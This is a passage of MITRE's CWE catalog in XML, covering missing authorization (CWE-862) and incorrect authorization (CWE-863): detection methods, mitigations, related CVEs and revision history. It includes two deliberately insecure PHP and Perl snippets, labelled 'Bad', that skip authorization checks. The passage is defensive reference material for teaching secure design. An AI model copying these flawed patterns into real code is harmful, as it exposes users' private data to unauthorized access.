               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-6">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.</xhtml:p>
                  <xhtml:p>Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.</xhtml:p>
                  <xhtml:p>Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.</xhtml:p>
                  <xhtml:p>One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Phase>Installation</Phase>
               <Description>Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-95">
               <Intro_Text>This function runs an arbitrary SQL query on a given database, returning the result of the query.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function runEmployeeQuery($dbName, $name){<xhtml:div style="margin-left:1em;">mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);<xhtml:br/>
                        <xhtml:i>//Use a prepared statement to avoid CWE-89</xhtml:i>
                        <xhtml:br/>$preparedStatement = $globalDbHandle-&gt;prepare('SELECT * FROM employees WHERE name = :name');<xhtml:br/>$preparedStatement-&gt;execute(array(':name' =&gt; $name));<xhtml:br/>return $preparedStatement-&gt;fetchAll();</xhtml:div>}<xhtml:br/>
                     <xhtml:i>/.../</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);</xhtml:div>
               </Example_Code>
               <Body_Text>While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-96">
               <Intro_Text>The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>sub DisplayPrivateMessage {<xhtml:div style="margin-left:1em;">my($id) = @_;<xhtml:br/>my $Message = LookupMessageObject($id);<xhtml:br/>print "From: " . encodeHTML($Message-&gt;{from}) . "&lt;br&gt;\n";<xhtml:br/>print "Subject: " . encodeHTML($Message-&gt;{subject}) . "\n";<xhtml:br/>print "&lt;hr&gt;\n";<xhtml:br/>print "Body: " . encodeHTML($Message-&gt;{body}) . "\n";</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>my $q = new CGI;<xhtml:br/>
                     <xhtml:i># For purposes of this example, assume that CWE-309 and</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># CWE-523 do not apply.</xhtml:i>
                     <xhtml:br/>if (! AuthenticateUser($q-&gt;param('username'), $q-&gt;param('password'))) {<xhtml:div style="margin-left:1em;">ExitError("invalid username or password");</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>my $id = $q-&gt;param('id');<xhtml:br/>DisplayPrivateMessage($id);</xhtml:div>
               </Example_Code>
               <Body_Text>While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.</Body_Text>
               <Body_Text>One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-24730</Reference>
               <Description>Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-24730</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3168</Reference>
               <Description>Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3168</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3597</Reference>
               <Description>Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3597</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2282</Reference>
               <Description>Terminal server does not check authorization for guest access.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2282</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5027</Reference>
               <Description>System monitoring software allows users to bypass authorization by creating custom forms.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5027</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3781</Reference>
               <Description>Content management system does not check access permissions for private files, allowing others to view those files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3781</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6548</Reference>
               <Description>Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6548</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2960</Reference>
               <Description>Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2960</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3230</Reference>
               <Description>Database server does not use appropriate privileges for certain sensitive operations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3230</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2213</Reference>
               <Description>Gateway uses default "Allow" configuration for its authorization settings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0034</Reference>
               <Description>Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0034</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6123</Reference>
               <Description>Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6123</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-7109</Reference>
               <Description>Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-7109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3424</Reference>
               <Description>Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3424</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2005-1036</Reference>
	     <Description>Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2005-1036</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4577</Reference>
               <Description>ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4577</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2925</Reference>
               <Description>Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2925</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6679</Reference>
               <Description>Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6679</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3623</Reference>
               <Description>OS kernel does not check for a certain privilege before setting ACLs for files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3623</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2801</Reference>
               <Description>Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2801</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1155</Reference>
               <Description>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1155</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-17533</Reference>
               <Description>Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-17533</Link>
            </Observed_Example>
         </Observed_Examples>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>2-1</Entry_ID>
	     <Entry_Name>Req 4.3.3.7</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>3-3</Entry_ID>
	     <Entry_Name>Req SR 2.1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-2</Entry_ID>
	     <Entry_Name>Req CR 2.1</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="665"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-229"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 4, &#34;Authorization&#34; Page 114; Chapter 6, &#34;Determining&#xA;                  Appropriate Access Control&#34; Page 171"/>
            <Reference External_Reference_ID="REF-231"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-233"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Authorization&#34;, Page 39"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="863" Name="Incorrect Authorization" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.</Description>
         <Extended_Description>
            <xhtml:p>Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.</xhtml:p>
            <xhtml:p>When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Often"/>
            <Technology Name="Database Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>AuthZ</Term>
               <Description>"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</xhtml:p>
                  <xhtml:p>A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-6">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.</xhtml:p>
                  <xhtml:p>Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
